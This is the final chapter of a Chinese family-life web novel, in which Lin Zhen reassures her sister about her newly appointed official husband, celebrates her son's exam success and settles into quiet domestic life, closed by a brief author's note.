燕儿一笑:“是,阿姐可得记得细致些才好,平安日后,定是能用得上的。” “好啊你!我帮着你做事,你还来打趣我,真真是可恶!”林真挽袖子,作势要去掐燕儿。 …… “好了,好了,阿姐我错了,还请您手下留情。” 最终,自是以林真大获全胜收尾。 两人顽笑一阵儿,燕儿还像小时候一样靠在林真身上:“阿姐,你说,官人迟迟不歸家,可是教江宁的富贵迷了眼?” 林真摸了摸燕儿的头发,心中叹气,燕儿到底还是教先前的事儿扰了心志。 巴结夏和远的还有商戶,那些人家送礼的花样更是多。 可不仅仅给他送了那些死物,还有送活生生的人儿来的。 聘聘婷婷,袅袅绕绕,眼波流转,盈盈一拜,声儿也婉转动听若黄莺。别说男人了,林真当时瞧见了,都很没出息的盯着瞧了好几眼。 人自是教林真冷言打发了,可她冷眼瞧着,那雖赔着笑脸,可却是贪心不改。 等夏和远家来了,这一遭,怕还会上演。 “他现在必定不会,選官在即,他有心参加選拔,便不会在此时闹出这些个風。流韵事来。”林真很是肯定道。 夏和远要参加地方官员的選拔,这是他在寄来的家书中所说。 他雖比起燕儿来显得不善经营,可他绝不是那等不识俗物的,且,他已参加过三次乡试了。 此番得中属实侥幸,更上一层楼?他想都不敢想。还不如趁着此时有机会,直接参与地方官员的选拔。 天下太平,读书人日渐增多,而大虞的官職却不见增多,有时还会被皇帝出手裁减。 僧多粥少,举人虽说能通过考校出任地方官職,可竞争激烈,稍不慎,便会被别人挤下来。 夏和远是聪明人,在这个風口上,他断断不会做出此举。 “可燕儿,我不敢保证以后。”林真叹息一声,还是道,“可阿姐晓得燕儿自来坚韧,不是那等耽于情爱之人,且你有衡哥儿,还有獾儿。” 燕儿沉默一会儿,而后点点头:“是我着相了,他越往上走,这些事儿就越是少不了。人心易变,我管不了他的心,便只能管好我自己个儿。” 林真張了張嘴,又只能闭上,她不知道怎么说。 这是个无解的难题,在一夫一妻制的现代社会尚且不能避免这些事儿,更遑论现在? 燕儿只消沉了一小会儿,这时瞧着林真如此,倒是反过来宽慰她。 “阿姐,官人心思不在女色之上,或是为民做事,或是著书立说,總有他更在意的事儿。我只是头一遭面对这样的事儿,心里才会有些难受,往后自是不会。这些都是小节,我巴不得他能爬得更高,为衡哥儿和獾儿积累下更多的助力。若是他不负我,我自会诚心以待,若是有甚……” 燕儿洒脱一笑:“至亲至疏,夫妻,也不过如此罢了。” 林真一叹,只能道:“莫忧,阿姐和家里人總归是站在你这头的。” 燕儿狭促,小声道:“是,我还得借咱家平安的势呢!官人选官后便不能科举,虽说是官身,可往后比起正经的进士来,自是底气不足的。” “你啊你。”林真点点燕儿,一笑,一切尽在不言中。 就在前几日,家里收到了徐夫子的信,滿篇辞藻华丽的夸耀之语,总结来说就是:平安在月考中一鸣惊人,考了第六名! 那可是庆安府学新老学子一同参考的月试啊! 平安居然入得前十! 前十中,平安最为年幼,且只有他是今年新入学的学子! 入学月余,就能力压一众入学多年的老生,着实是教众人诧异。从前觉着平安年幼,心生轻视,觉得平安小三元的名头不过是侥幸得来的学子,瞧着文廊上张贴出来的答卷,紛紛掩面而去。 是以,徐夫子才会如此欣喜若狂,对着平安尚且要风轻云淡,还要提醒平安莫要生骄。 可对着友人和林家人,徐夫子是再也忍不住,书信一封又一封,滿是夸耀之语。 林真也收到了平安写的家书,平安对着家人自来是不遮掩的。 可两封书信一对比,平安信中的那点子小雀跃,与徐夫子那甚‘芝兰玉树,龙驹凤雏’的话相比,当真是不够瞧的。 晚间回家时,林真便去瞧贺景拟出来的礼單。 这厢慈溪县中举的人家不止燕儿一家,先前平安中举,有些人家是送了礼来的,林家此番定当回礼。 “咦?怎没有叶家?我依稀记得,叶家大公子今年也下场了的。”林真有些惊讶,“竟是没中?” 贺景摇摇头:“慈溪总共就三人中举,报喜的官差也只来了三波。想来是没中的,乡试之难,每年不晓得有多少精通学问的学子,或是因着这样那样的缘由,未得更进一步。叶家大公子想来是差了些许运道罢。” 贺景也记得,不过他是记仇。 为溪山雅集,便是那周浦结识平安的地方;而为溪山雅集,是叶家大公子,为着今朝乡试造势才举办的。 林真也就是那么一问,她自是晓得贺景不会在这些地方上出差池。 这些年,她与他,为着家里,自是用了十足的心,两人成长得飞快。 她有上一世的记忆,算是开挂,可她每每瞧着挑灯认字、或是记账的贺景,都会心生感慨。 同时,又真怕自个儿为人师表的地位不保,便也埋头苦读。 俩人就这样,你卷我,我卷你,这才卷出了今朝这般興盛之景。 “罢了,除了慢慢的叶姐姐之外,叶家与咱家着实没甚交情。礼单很是妥当,明日便教长乐按着单子去送礼罢。” 林真又拍拍贺景:“不错,小贺同学很是有天份。头次拟单子就能如此,平安的聪慧,你也有份儿。” “不敢,全赖林老师教导得当。”贺景怪模怪样作礼。 …… 这一年着实过得很快,夏和远归来后,果真中选。 他得了一司户参军事的官儿,虽要往绥州任职,且只是个从八品的微末小官,可掌管户籍、计账、赋税及民事案件审理,也算是个颇有实权的官职。 一举入仕,自此以后,夏家便是官宦之家,他如何能不高興。 可因着已有官身,他中举的宴席反倒是不好大办,这份儿喜悦,只能关起门来,唤上林家人,一同乐一乐。 夏和远是真的满怀感激之情,不光是为着平安提点他去江宁府考试,还有他中举后,林家帮着处理的这些个人情应酬。 居然是半点儿不妥和隐患都没留下。 他端着满满一杯酒,先敬燕儿再敬林真。 “这是作甚?一家子何须如此?”燕儿与林真纷纷避开。 “燕儿,阿姐,你们可一定要受我这一杯。”夏和远言辞恳切,“你们不晓得,我识得同榜一举人,家里说起来还比咱家好过些。可晓得他一朝中举,居然在家中大肆宴请,收得的重礼不计其数。消息一传来,吏部的大人当即便夺了他刚刚中选的实缺!” 夏和远听闻此事,又瞧见家中送来的家书,上头的那一句‘重礼悉数退回,着实不敢自专’后,差点流下泪来。 得妻如此,着实是他三生有幸! 这一杯,他必得敬! 团聚的日子总是过得很快,今年才过完,燕儿一家子便要去往绥州,这一分别,至少是三年不能再相聚。 林真自是伤感,苗娘子更不用说,早已是泪水涟涟。 且平安在庆安府那头读书,一年到头也不能在家里多待,宅子空落落,教人心里也是空落落的。 幸而家里还有慢慢在,这才能稍解相思之苦。 林真想了想,便将与家中旧友走动一事儿,交与苗娘子与林屠户。 他们家与其余人比起来,人丁确实是稍显单薄了些。 可无论是往巧儿那儿还是往罗四娘那头走,便多是热闹。 这些年,林家在奋斗,旁人自是没落下。 巧儿与李盖也在县里置了宅,家里两儿两女,最小的女儿正是牙牙学语时,这是孩童最好玩儿的时候。 沈山平家里更是不用说,沈家与林家合伙做生意的年头更久,在后头虽说随着店铺扩大而分开了,可罗四娘精明干练,沈山平经了多年历练自也不差。 两人早独当一面了,在县里自是有铺子有屋宅。 沈家三儿一女,除开最前头的宝儿外,其余全是小子。 罗四娘教那些个小子烦得不行,或是送去学堂或是送去武馆,眼不见心不烦。 还有留在枣儿村的大伯一家,和姑姑林香莲一家。 小辈长大,长辈老去,林真便教她爹和苗娘子多走动。 这些人家,是见一面少一面的。 可人生就是如此,来来去去,有人走散,有人重逢。 只能抓紧每一次见面的机会,过好每一日。 待家里人都有安排后,林真忽然也似闲下来一般。 她躺在摇椅上,晃晃悠悠,瞥见阳光透过院子里的花木落下,斑斑点点,光影交织,随着微风跳跃。 挑了一个蜜饯果子吃,林真叹道:“闲坐廊下,一品茶,五色瓜,四季花,岁月静好啊!” “怎没带条毯子来?”贺景一邊说着,一边将手上的薄绒毯轻轻盖在林真身上。 “前儿才有些咳嗽,还不晓得保养自身?还当自个儿是二十来岁时,顶着风雪送货又不喝姜汤,还能活蹦乱跳的?依我说,平安这不乐意喝姜汤的毛病,都是依了你。” 林真瞧着贺景笑,看在这人依旧俊俏的份儿上,她便不计较这人愈发多话了。 “大景啊,你晓得不?人一老,话就多了?” 才怪! 场子她立马要找回来的。 贺景在林真身边坐下,一点儿不在意。 他在外头分明是愈发话少了,只有家来时,对着林真这教人不省心的,才会话多。 “天气渐凉了,今儿吃索粉可好?浇头用酸笋肉齑,酸酸辣辣开胃。鲜藕和菱角也正当时,可以凑一盒子。肉呢?想吃羊肉还是鲈鱼?” 慢慢近来也教师长带着去游学了,儿女都不在身边,林真有些提不起劲儿来,贺景瞧在眼里,自是要多费些心思。 林真果然高兴起来,有些高兴道:“已经有索粉了,便不吃那些汤汤水水的。可有羊小排?咱们烤来吃!” “成,都依你。” 瞧着贺景去张罗腌制羊肉,林真满眼笑意。 挺好,她与她,自会携手走过一年又一年。 (正文完结)—— 作者有话说:今天收尾,有些迟了 后续还有番外 等我想想再写[狗头] 为庆祝正文完结 本章随机掉落小红包哦[橙心][黄心][绿心][青心][蓝心][紫心]《 》